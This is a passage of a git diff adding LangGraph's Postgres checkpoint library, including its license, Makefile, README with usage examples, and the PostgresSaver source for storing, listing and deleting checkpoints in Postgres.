"sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" }, + { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" }, + { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" }, + { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" }, + { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" }, + { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" }, + { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" }, +] diff --git a/libs/checkpoint-postgres/LICENSE b/libs/checkpoint-postgres/LICENSE new file mode 100644 index 0000000..fc0602f --- /dev/null +++ b/libs/checkpoint-postgres/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 LangChain, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/libs/checkpoint-postgres/Makefile b/libs/checkpoint-postgres/Makefile new file mode 100644 index 0000000..574f064 --- /dev/null +++ b/libs/checkpoint-postgres/Makefile @@ -0,0 +1,66 @@ +.PHONY: test test_watch lint type format + +###################### +# TESTING AND COVERAGE +###################### + +start-postgres: + POSTGRES_VERSION=${POSTGRES_VERSION:-16} docker compose -f tests/compose-postgres.yml up -V --force-recreate --wait || ( \ + echo "Failed to start PostgreSQL, printing logs..."; \ + docker compose -f tests/compose-postgres.yml logs; \ + exit 1 \ + ) + +stop-postgres: + docker compose -f tests/compose-postgres.yml down + +POSTGRES_VERSIONS ?= 15 16 +test_pg_version: + @echo "Testing PostgreSQL $(POSTGRES_VERSION)" + @POSTGRES_VERSION=$(POSTGRES_VERSION) make start-postgres + @uv run pytest $(TEST) + @EXIT_CODE=$$?; \ + make stop-postgres; \ + echo "Finished testing PostgreSQL $(POSTGRES_VERSION); Exit code: $$EXIT_CODE"; \ + exit $$EXIT_CODE + +test: + @for version in $(POSTGRES_VERSIONS); do \ + if ! make test_pg_version POSTGRES_VERSION=$$version; then \ + echo "Test failed for PostgreSQL $$version"; \ + exit 1; \ + fi; \ + done + @echo "All PostgreSQL versions tested successfully" + +TEST ?= . +test_watch: + POSTGRES_VERSION=${POSTGRES_VERSION:-16} make start-postgres; \ + uv run ptw $(TEST); \ + EXIT_CODE=$$?; \ + make stop-postgres; \ + exit $$EXIT_CODE + +###################### +# LINTING AND FORMATTING +###################### + +# Define a variable for Python and notebook files. +PYTHON_FILES=. +lint format: PYTHON_FILES=. +lint_diff format_diff: PYTHON_FILES=$(shell git diff --name-only --relative --diff-filter=d main . | grep -E '\.py$$|\.ipynb$$') +lint_package: PYTHON_FILES=langgraph +lint_tests: PYTHON_FILES=tests + +lint lint_diff lint_package lint_tests: + uv run ruff check . + [ "$(PYTHON_FILES)" = "" ] || uv run ruff format $(PYTHON_FILES) --diff + [ "$(PYTHON_FILES)" = "" ] || uv run ruff check --select I $(PYTHON_FILES) + [ "$(PYTHON_FILES)" = "" ] || uv run ty check $(PYTHON_FILES) + +type: + uv run ty check $(PYTHON_FILES) + +format format_diff: + uv run ruff format $(PYTHON_FILES) + uv run ruff check --select I --fix $(PYTHON_FILES) diff --git a/libs/checkpoint-postgres/README.md b/libs/checkpoint-postgres/README.md new file mode 100644 index 0000000..f3ccc0d --- /dev/null +++ b/libs/checkpoint-postgres/README.md @@ -0,0 +1,150 @@ +# LangGraph Checkpoint Postgres + +[![PyPI - Version](https://img.shields.io/pypi/v/langgraph-checkpoint-postgres?label=%20)](https://pypi.org/project/langgraph-checkpoint-postgres/#history) +[![PyPI - License](https://img.shields.io/pypi/l/langgraph-checkpoint-postgres)](https://opensource.org/licenses/MIT) +[![PyPI - Downloads](https://img.shields.io/pepy/dt/langgraph-checkpoint-postgres)](https://pypistats.org/packages/langgraph-checkpoint-postgres) +[![Twitter](https://img.shields.io/twitter/url/https/twitter.com/langchain_oss.svg?style=social&label=Follow%20%40LangChain)](https://x.com/langchain_oss) + +To help you ship LangGraph apps to production faster, check out [LangSmith](https://www.langchain.com/langsmith). +[LangSmith](https://www.langchain.com/langsmith) is a unified developer platform for building, testing, and monitoring LLM applications. + +## Quick Install + +```bash +uv add langgraph-checkpoint-postgres +``` + +## 🤔 What is this? + +This library provides a Postgres implementation of LangGraph's checkpoint saver. Use it when you want LangGraph state persistence backed by Postgres for durable, long-running workflows and agents. + +By default, `langgraph-checkpoint-postgres` installs `psycopg` (Psycopg 3) without any extras. You can choose a specific installation that best suits your needs in the [Psycopg installation docs](https://www.psycopg.org/psycopg3/docs/basic/install.html), for example `psycopg[binary]`. + +## 📖 Documentation + +For full documentation, see the [API reference](https://reference.langchain.com/python/langgraph.checkpoint.postgres). For conceptual guides on persistence and memory, see the [LangGraph Docs](https://docs.langchain.com/oss/python/langgraph/overview). + +## Security + +> [!IMPORTANT] +> Set `LANGGRAPH_STRICT_MSGPACK=true` or pass an explicit `allowed_msgpack_modules` list when creating your checkpointer. This restricts checkpoint deserialization to known-safe types, preventing code execution if the database is compromised. See the [langgraph-checkpoint README](https://github.com/langchain-ai/langgraph/tree/main/libs/checkpoint#serde) for details. + +## Usage + +> [!IMPORTANT] +> When using Postgres checkpointers for the first time, make sure to call `.setup()` method on them to create required tables. See example below. + +> [!IMPORTANT] +> When manually creating Postgres connections and passing them to `PostgresSaver` or `AsyncPostgresSaver`, make sure to include `autocommit=True` and `row_factory=dict_row` (`from psycopg.rows import dict_row`). See a full example in this [how-to guide](https://langchain-ai.github.io/langgraph/how-tos/persistence_postgres/). +> +> **Why these parameters are required:** +> +> - `autocommit=True`: Required for the `.setup()` method to properly commit the checkpoint tables to the database. Without this, table creation may not be persisted. +> - `row_factory=dict_row`: Required because the PostgresSaver implementation accesses database rows using dictionary-style syntax (e.g., `row["column_name"]`). The default `tuple_row` factory returns tuples that only support index-based access (e.g., `row[0]`), which will cause `TypeError` exceptions when the checkpointer tries to access columns by name. +> +> **Example of incorrect usage:** +> +> ```python +> # ❌ This will fail with TypeError during checkpointer operations +> with psycopg.connect(DB_URI) as conn: # Missing autocommit=True and row_factory=dict_row +> checkpointer = PostgresSaver(conn) +> checkpointer.setup() # May not persist tables properly +> # Any operation that reads from database will fail with: +> # TypeError: tuple indices must be integers or slices, not str +> ``` + +```python +from langgraph.checkpoint.postgres import PostgresSaver + +write_config = {"configurable": {"thread_id": "1", "checkpoint_ns": ""}} +read_config = {"configurable": {"thread_id": "1"}} + +DB_URI = "postgres://postgres:postgres@localhost:5432/postgres?sslmode=disable" +with PostgresSaver.from_conn_string(DB_URI) as checkpointer: + # call .setup() the first time you're using the checkpointer + checkpointer.setup() + checkpoint = { + "v": 4, + "ts": "2024-07-31T20:14:19.804150+00:00", + "id": "1ef4f797-8335-6428-8001-8a1503f9b875", + "channel_values": { + "my_key": "meow", + "node": "node" + }, + "channel_versions": { + "__start__": 2, + "my_key": 3, + "start:node": 3, + "node": 3 + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": 1 + }, + "node": { + "start:node": 2 + } + }, + } + + # store checkpoint + checkpointer.put(write_config, checkpoint, {}, {}) + + # load checkpoint + checkpointer.get(read_config) + + # list checkpoints + list(checkpointer.list(read_config)) +``` + +### Async + +```python +from langgraph.checkpoint.postgres.aio import AsyncPostgresSaver + +async with AsyncPostgresSaver.from_conn_string(DB_URI) as checkpointer: + checkpoint = { + "v": 4, + "ts": "2024-07-31T20:14:19.804150+00:00", + "id": "1ef4f797-8335-6428-8001-8a1503f9b875", + "channel_values": { + "my_key": "meow", + "node": "node" + }, + "channel_versions": { + "__start__": 2, + "my_key": 3, + "start:node": 3, + "node": 3 + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": 1 + }, + "node": { + "start:node": 2 + } + }, + } + + # store checkpoint + await checkpointer.aput(write_config, checkpoint, {}, {}) + + # load checkpoint + await checkpointer.aget(read_config) + + # list checkpoints + [c async for c in checkpointer.alist(read_config)] +``` + +## 📕 Releases & Versioning + +See our [Releases](https://docs.langchain.com/oss/python/release-policy) and [Versioning](https://docs.langchain.com/oss/python/versioning) policies. + +## 💁 Contributing + +As an open-source project in a rapidly developing field, we are extremely open to contributions, whether it be in the form of a new feature, improved infrastructure, or better documentation. + +For detailed information on how to contribute, see the [Contributing Guide](https://docs.langchain.com/oss/python/contributing/overview). diff --git a/libs/checkpoint-postgres/langgraph/checkpoint/postgres/__init__.py b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/__init__.py new file mode 100644 index 0000000..18186d8 --- /dev/null +++ b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/__init__.py @@ -0,0 +1,595 @@ +from __future__ import annotations + +import threading +from collections import defaultdict +from collections.abc import Iterator, Mapping, Sequence +from contextlib import contextmanager +from typing import Any, cast + +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import ( + WRITES_IDX_MAP, + ChannelVersions, + Checkpoint, + CheckpointMetadata, + CheckpointTuple, + DeltaChannelHistory, + get_checkpoint_id, + get_serializable_checkpoint_metadata, +) +from langgraph.checkpoint.serde.base import SerializerProtocol +from langgraph.checkpoint.serde.types import _DeltaSnapshot +from psycopg import Capabilities, Connection, Cursor, Pipeline +from psycopg.rows import DictRow, dict_row +from psycopg.types.json import Jsonb +from psycopg_pool import ConnectionPool + +from langgraph.checkpoint.postgres import _internal +from langgraph.checkpoint.postgres.base import ( + _DELTA_PAGE_SIZE, + BasePostgresSaver, + _build_delta_stage1_sql, + _build_delta_stage2_sql, + _DeltaStage2Row, +) +from langgraph.checkpoint.postgres.shallow import ShallowPostgresSaver + +Conn = _internal.Conn # For backward compatibility + + +class PostgresSaver(BasePostgresSaver): + """Checkpointer that stores checkpoints in a Postgres database.""" + + lock: threading.Lock + + def __init__( + self, + conn: _internal.Conn, + pipe: Pipeline | None = None, + serde: SerializerProtocol | None = None, + ) -> None: + super().__init__(serde=serde) + if isinstance(conn, ConnectionPool) and pipe is not None: + raise ValueError( + "Pipeline should be used only with a single Connection, not ConnectionPool." + ) + + self.conn = conn + self.pipe = pipe + self.lock = threading.Lock() + self.supports_pipeline = Capabilities().has_pipeline() + + @classmethod + @contextmanager + def from_conn_string( + cls, conn_string: str, *, pipeline: bool = False + ) -> Iterator[PostgresSaver]: + """Create a new PostgresSaver instance from a connection string. + + Args: + conn_string: The Postgres connection info string. + pipeline: whether to use Pipeline + + Returns: + PostgresSaver: A new PostgresSaver instance. + """ + with Connection.connect( + conn_string, autocommit=True, prepare_threshold=0, row_factory=dict_row + ) as conn: + if pipeline: + with conn.pipeline() as pipe: + yield cls(conn, pipe) + else: + yield cls(conn) + + def setup(self) -> None: + """Set up the checkpoint database asynchronously. + + This method creates the necessary tables in the Postgres database if they don't + already exist and runs database migrations. It MUST be called directly by the user + the first time checkpointer is used. + """ + with self._cursor() as cur: + cur.execute(self.MIGRATIONS[0]) + results = cur.execute( + "SELECT v FROM checkpoint_migrations ORDER BY v DESC LIMIT 1" + ) + row = results.fetchone() + if row is None: + version = -1 + else: + version = row["v"] + for v, migration in zip( + range(version + 1, len(self.MIGRATIONS)), + self.MIGRATIONS[version + 1 :], + strict=False, + ): + cur.execute(migration) + cur.execute("INSERT INTO checkpoint_migrations (v) VALUES (%s)", (v,)) + if self.pipe: + self.pipe.sync() + + def list( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> Iterator[CheckpointTuple]: + """List checkpoints from the database. + + This method retrieves a list of checkpoint tuples from the Postgres database based + on the provided config. The checkpoints are ordered by checkpoint ID in descending order (newest first). + + Args: + config: The config to use for listing the checkpoints. + filter: Additional filtering criteria for metadata. + before: If provided, only checkpoints before the specified checkpoint ID are returned. + limit: The maximum number of checkpoints to return. + + Yields: + An iterator of checkpoint tuples. + + Examples: + >>> from langgraph.checkpoint.postgres import PostgresSaver + >>> DB_URI = "postgres://postgres:postgres@localhost:5432/postgres?sslmode=disable" + >>> with PostgresSaver.from_conn_string(DB_URI) as memory: + ... # Run a graph, then list the checkpoints + >>> config = {"configurable": {"thread_id": "1"}} + >>> checkpoints = list(memory.list(config, limit=2)) + >>> print(checkpoints) + [CheckpointTuple(...), CheckpointTuple(...)] + + >>> config = {"configurable": {"thread_id": "1"}} + >>> before = {"configurable": {"checkpoint_id": "1ef4f797-8335-6428-8001-8a1503f9b875"}} + >>> with PostgresSaver.from_conn_string(DB_URI) as memory: + ... # Run a graph, then list the checkpoints + >>> checkpoints = list(memory.list(config, before=before)) + >>> print(checkpoints) + [CheckpointTuple(...), ...] + """ + where, args = self._search_where(config, filter, before) + query = self.SELECT_SQL + where + " ORDER BY checkpoint_id DESC" + params = list(args) + if limit is not None: + query += " LIMIT %s" + params.append(int(limit)) + # if we change this to use .stream() we need to make sure to close the cursor + with self._cursor() as cur: + cur.execute(query, params) + values = cur.fetchall() + if not values: + return + # migrate pending sends if necessary + if to_migrate := [ + v + for v in values + if v["checkpoint"]["v"] < 4 and v["parent_checkpoint_id"] + ]: + cur.execute( + self.SELECT_PENDING_SENDS_SQL, + ( + values[0]["thread_id"], + [v["parent_checkpoint_id"] for v in to_migrate], + ), + ) + grouped_by_parent = defaultdict(list) + for value in to_migrate: + grouped_by_parent[value["parent_checkpoint_id"]].append(value) + for sends in cur: + for value in grouped_by_parent[sends["checkpoint_id"]]: + if value["channel_values"] is None: + value["channel_values"] = [] + self._migrate_pending_sends( + sends["sends"], + value["checkpoint"], + value["channel_values"], + ) + for value in values: + yield self._load_checkpoint_tuple(value) + + def get_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Get a checkpoint tuple from the database. + + This method retrieves a checkpoint tuple from the Postgres database based on the + provided config. If the config contains a `checkpoint_id` key, the checkpoint with + the matching thread ID and timestamp is retrieved. Otherwise, the latest checkpoint + for the given thread ID is retrieved. + + Args: + config: The config to use for retrieving the checkpoint. + + Returns: + The retrieved checkpoint tuple, or None if no matching checkpoint was found. + + Examples: + + Basic: + >>> config = {"configurable": {"thread_id": "1"}} + >>> checkpoint_tuple = memory.get_tuple(config) + >>> print(checkpoint_tuple) + CheckpointTuple(...) + + With timestamp: + + >>> config = { + ... "configurable": { + ... "thread_id": "1", + ... "checkpoint_ns": "", + ... "checkpoint_id": "1ef4f797-8335-6428-8001-8a1503f9b875", + ... } + ... } + >>> checkpoint_tuple = memory.get_tuple(config) + >>> print(checkpoint_tuple) + CheckpointTuple(...) + """ # noqa + thread_id = config["configurable"]["thread_id"] + checkpoint_id = get_checkpoint_id(config) + checkpoint_ns = config["configurable"].get("checkpoint_ns", "") + if checkpoint_id: + args: tuple[Any, ...] = (thread_id, checkpoint_ns, checkpoint_id) + where = "WHERE thread_id = %s AND checkpoint_ns = %s AND checkpoint_id = %s" + else: + args = (thread_id, checkpoint_ns) + where = "WHERE thread_id = %s AND checkpoint_ns = %s ORDER BY checkpoint_id DESC LIMIT 1" + + with self._cursor() as cur: + cur.execute( + self.SELECT_SQL + where, + args, + ) + value = cur.fetchone() + if value is None: + return None + + # migrate pending sends if necessary + if value["checkpoint"]["v"] < 4 and value["parent_checkpoint_id"]: + cur.execute( + self.SELECT_PENDING_SENDS_SQL, + (thread_id, [value["parent_checkpoint_id"]]), + ) + if sends := cur.fetchone(): + if value["channel_values"] is None: + value["channel_values"] = [] + self._migrate_pending_sends( + sends["sends"], + value["checkpoint"], + value["channel_values"], + ) + + return self._load_checkpoint_tuple(value) + + def put( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Save a checkpoint to the database. + + This method saves a checkpoint to the Postgres database. The checkpoint is associated + with the provided config and its parent config (if any). + + Args: + config: The config to associate with the checkpoint. + checkpoint: The checkpoint to save. + metadata: Additional metadata to save with the checkpoint. + new_versions: New channel versions as of this write. + + Returns: + RunnableConfig: Updated configuration after storing the checkpoint. + + Examples: + + >>> from langgraph.checkpoint.postgres import PostgresSaver + >>> DB_URI = "postgres://postgres:postgres@localhost:5432/postgres?sslmode=disable" + >>> with PostgresSaver.from_conn_string(DB_URI) as memory: + >>> config = {"configurable": {"thread_id": "1", "checkpoint_ns": ""}} + >>> checkpoint = {"ts": "2024-05-04T06:32:42.235444+00:00", "id": "1ef4f797-8335-6428-8001-8a1503f9b875", "channel_values": {"key": "value"}} + >>> saved_config = memory.put(config, checkpoint, {"source": "input", "step": 1, "writes": {"key": "value"}}, {}) + >>> print(saved_config) + {'configurable': {'thread_id': '1', 'checkpoint_ns': '', 'checkpoint_id': '1ef4f797-8335-6428-8001-8a1503f9b875'}} + """ + configurable = config["configurable"].copy() + thread_id = configurable.pop("thread_id") + checkpoint_ns = configurable.pop("checkpoint_ns") + checkpoint_id = configurable.pop("checkpoint_id", None) + copy = checkpoint.copy() + copy["channel_values"] = copy["channel_values"].copy() + next_config = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint["id"], + } + } + + # inline primitive values in checkpoint table + # others are stored in blobs table + blob_values = {} + for k, v in checkpoint["channel_values"].items(): + if isinstance(v, _DeltaSnapshot): + blob_values[k] = copy["channel_values"].pop(k) + copy["channel_values"][k] = True + elif v is None or isinstance(v, (str, int, float, bool)): + pass + else: + blob_values[k] = copy["channel_values"].pop(k) + + with self._cursor(pipeline=True) as cur: + if blob_versions := { + k: v for k, v in new_versions.items() if k in blob_values + }: + cur.executemany( + self.UPSERT_CHECKPOINT_BLOBS_SQL, + self._dump_blobs( + thread_id, + checkpoint_ns, + blob_values, + blob_versions, + ), + ) + cur.execute( + self.UPSERT_CHECKPOINTS_SQL, + ( + thread_id, + checkpoint_ns, + checkpoint["id"], + checkpoint_id, + Jsonb(copy), + Jsonb(get_serializable_checkpoint_metadata(config, metadata)), + ), + ) + return next_config + + def put_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + """Store intermediate writes linked to a checkpoint. + + This method saves intermediate writes associated with a checkpoint to the Postgres database. + + Args: + config: Configuration of the related checkpoint. + writes: List of writes to store. + task_id: Identifier for the task creating the writes. + """ + query = ( + self.UPSERT_CHECKPOINT_WRITES_SQL + if all(w[0] in WRITES_IDX_MAP for w in writes) + else self.INSERT_CHECKPOINT_WRITES_SQL + ) + with self._cursor(pipeline=True) as cur: + cur.executemany( + query, + self._dump_writes( + config["configurable"]["thread_id"], + config["configurable"]["checkpoint_ns"], + config["configurable"]["checkpoint_id"], + task_id, + task_path, + writes, + ), + ) + + def delete_thread(self, thread_id: str) -> None: + """Delete all checkpoints and writes associated with a thread ID. + + Args: + thread_id: The thread ID to delete. + + Returns: + None + """ + with self._cursor(pipeline=True) as cur: + cur.execute( + "DELETE FROM checkpoints WHERE thread_id = %s", + (str(thread_id),), + ) + cur.execute( + "DELETE FROM checkpoint_blobs WHERE thread_id = %s", + (str(thread_id),), + ) + cur.execute( + "DELETE FROM checkpoint_writes WHERE thread_id = %s", + (str(thread_id),), + ) + + @contextmanager + def _cursor(self, *, pipeline: bool = False) -> Iterator[Cursor[DictRow]]: + """Create a database cursor as a context manager. + + Args: + pipeline: whether to use pipeline for the DB operations inside the context manager. + Will be applied regardless of whether the PostgresSaver instance was initialized with a pipeline. + If pipeline mode is not supported, will fall back to using transaction context manager. + """ + with self.lock, _internal.get_connection(self.conn) as conn: + if self.pipe: + # a connection in pipeline mode can be used concurrently + # in multiple threads/coroutines, but only one cursor can be + # used at a time + try: + with conn.cursor(binary=True, row_factory=dict_row) as cur: + yield cur + finally: + if pipeline: + self.pipe.sync() + elif pipeline: + # a connection not in pipeline mode can only be used by one + # thread/coroutine at a time, so we acquire a lock + if self.supports_pipeline: + with ( + conn.pipeline(), + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + else: + # Use connection's transaction context manager when pipeline mode not supported + with ( + conn.transaction(), + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + else: + with conn.cursor(binary=True, row_factory=dict_row) as cur: + yield cur + + def get_delta_channel_history( + self, *, config: RunnableConfig, channels: Sequence[str] + ) -> Mapping[str, DeltaChannelHistory]: + """Fast-path override of `BaseCheckpointSaver.get_delta_channel_history`. + + Two-stage query, both stages cover ALL requested channels: + + * Stage 1 (paged): dynamic SELECT over `checkpoints` with K parallel + JSONB key lookups (one column pair per channel) — no subquery, no + aggregation. Pages newest-first by `checkpoint_id` with a cursor; + page size is `_DELTA_PAGE_SIZE`. Stops paging when every channel + has found its seed or the chain is exhausted. + + * Stage 2 (per-channel UNION ALL): one branch per channel reading + `checkpoint_writes` filtered to that channel's specific + `chain_cids`, plus one branch per channel that has a seed reading + `checkpoint_blobs` for that channel + version. Avoids the + over-fetch of a single `channel = ANY(channels)` filter when + channels have different chain depths. + """ + if not channels: + return {} + channels = list(channels) + thread_id = config["configurable"]["thread_id"] + checkpoint_ns = config["configurable"].get("checkpoint_ns", "") + checkpoint_id = get_checkpoint_id(config) + if checkpoint_id is None: + target = self.get_tuple(config) + if target is None: + return {ch: {"writes": []} for ch in channels} + checkpoint_id = target.config["configurable"]["checkpoint_id"] + + # Stage 1: paged K-JSONB-lookup scan, walking the parent chain in + # Python after each page. Stops as soon as every channel has its seed. + stage1_sql = _build_delta_stage1_sql(channels, paged=True) + parent_of: dict[str, str | None] = {} + ver_by_i_by_cid: list[dict[str, str | None]] = [{} for _ in channels] + hs_by_i_by_cid: list[dict[str, bool]] = [{} for _ in channels] + chain_by_ch: dict[str, list[str]] = {ch: [] for ch in channels} + seed_ver_by_ch: dict[str, str | None] = {ch: None for ch in channels} + walk_cursor_by_ch: dict[str, str | None] = {} + seeded: set[str] = set() + cursor: str | None = None + + with self._cursor() as cur: + while True: + stage1_params: list[Any] = [] + for ch in channels: + stage1_params.extend([ch, ch]) + stage1_params.extend( + [thread_id, checkpoint_ns, cursor, cursor, _DELTA_PAGE_SIZE] + ) + cur.execute(stage1_sql, stage1_params) + page = cur.fetchall() + if not page: + break + oldest = self._ingest_stage1_page( + cast("list[Mapping[str, Any]]", page), + channels, + parent_of, + ver_by_i_by_cid, + hs_by_i_by_cid, + ) + self._try_advance_walks( + checkpoint_id, + channels, + parent_of, + ver_by_i_by_cid, + hs_by_i_by_cid, + chain_by_ch, + seed_ver_by_ch, + walk_cursor_by_ch, + seeded, + ) + # Stop if every channel is seeded, or the page was short + # (chain exhausted — no more rows to fetch). + if len(seeded) == len(channels) or len(page) < _DELTA_PAGE_SIZE: + break + cursor = oldest + + # Stage 2: per-channel UNION ALL — one writes branch per channel + # with non-empty chain, plus one blob branch per seeded channel. + channels_with_chain = [ch for ch in channels if chain_by_ch[ch]] + channels_with_seed = [ch for ch in channels if seed_ver_by_ch[ch] is not None] + stage2_sql = _build_delta_stage2_sql( + channels_with_chain=channels_with_chain, + channels_with_seed=channels_with_seed, + ) + + if stage2_sql: + stage2_params: list[Any] = [] + for ch in channels_with_chain: + stage2_params.extend([thread_id, checkpoint_ns, ch, chain_by_ch[ch]]) + for ch in channels_with_seed: + stage2_params.extend([thread_id, checkpoint_ns, ch, seed_ver_by_ch[ch]]) + with self._cursor() as cur: + cur.execute(stage2_sql, stage2_params) + stage2_rows = cur.fetchall() + else: + stage2_rows = [] + + return self._build_delta_channels_writes_history( + channels=channels, + chain_by_ch=chain_by_ch, + seed_ver_by_ch=seed_ver_by_ch, + stage2_rows=cast("list[_DeltaStage2Row]", stage2_rows), + ) + + def _load_checkpoint_tuple(self, value: DictRow) -> CheckpointTuple: + """ + Convert a database row into a CheckpointTuple object. + + Args: + value: A row from the database containing checkpoint data. + + Returns: + CheckpointTuple: A structured representation of the checkpoint, + including its configuration, metadata, parent checkpoint (if any), + and pending writes. + """ + return CheckpointTuple( + { + "configurable": { + "thread_id": value["thread_id"], + "checkpoint_ns": value["checkpoint_ns"], + "checkpoint_id": value["checkpoint_id"], + } + }, + { + **value["checkpoint"], + "channel_values": { + **(value["checkpoint"].get("channel_values") or {}), + **self._load_blobs(value["channel_values"]), + }, + }, + value["metadata"], + ( + { + "configurable": { + "thread_id": value["thread_id"], + "checkpoint_ns": value["checkpoint_ns"], + "checkpoint_id": value["parent_checkpoint_id"], + } + } + if value["parent_checkpoint_id"] + else None + ), + self._load_writes(value["pending_writes"]), + ) + + +__all__ = ["PostgresSaver", "BasePostgresSaver", "ShallowPostgresSaver", "Conn"] diff --git a/libs/checkpoint-postgres/langgraph/checkpoint/postgres/_ainternal.py b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/_ainternal.py new file mode 100644 index 0000000..9339a56 --- /dev/null +++ b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/_ainternal.py @@ -0,0 +1,23 @@ +"""Shared async utility functions for the Postgres checkpoint & storage classes.""" + +from collections.abc import AsyncIterator +from contextlib import asynccontextmanager + +from psycopg import AsyncConnection +from psycopg.rows import DictRow +from psycopg_pool import AsyncConnectionPool + +Conn = AsyncConnection[DictRow] | AsyncConnectionPool[AsyncConnection[DictRow]] + + +@asynccontextmanager +async def get_connection( + conn: Conn, +) -> AsyncIterator[AsyncConnection[DictRow]]: + if isinstance(conn, AsyncConnection): + yield conn + elif isinstance(conn, AsyncConnectionPool): + async with conn.connection() as conn: + yield conn + else: + raise TypeError(f"Invalid connection type: {type(conn)}") diff --git a/libs/checkpoint-postgres/langgraph/checkpoint/postgres/_internal.py b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/_internal.py new file mode 100644 index 0000000..7798844 --- /dev/null +++ b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/_internal.py @@ -0,0 +1,21 @@ +"""Shared utility functions for the Postgres checkpoint & storage classes.""" + +from collections.abc import Iterator +from contextlib import contextmanager + +from psycopg import Connection +from psycopg.rows import DictRow +from psycopg_pool import ConnectionPool + +Conn = Connection[DictRow] | ConnectionPool[Connection[DictRow]] + + +@contextmanager +def get_connection(conn: Conn) -> Iterator[Connection[DictRow]]: + if isinstance(conn, Connection): + yield conn + elif isinstance(conn, ConnectionPool): + with conn.connection() as conn: + yield conn + else: + raise TypeError(f"Invalid connection type: {type(conn)}") diff --git a/libs/checkpoint-postgres/langgraph/checkpoint/postgres/aio.py b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/aio.py new file mode 100644 index 0000000..09fb964 --- /dev/null +++ b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/aio.py @@ -0,0 +1,684 @@ +from __future__ import annotations + +import asyncio +from collections import defaultdict +from collections.abc import AsyncIterator, Iterator, Mapping, Sequence +from contextlib import asynccontextmanager +from typing import Any, cast + +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import ( + WRITES_IDX_MAP, + ChannelVersions, + Checkpoint, + CheckpointMetadata, + CheckpointTuple, + DeltaChannelHistory, + get_checkpoint_id, + 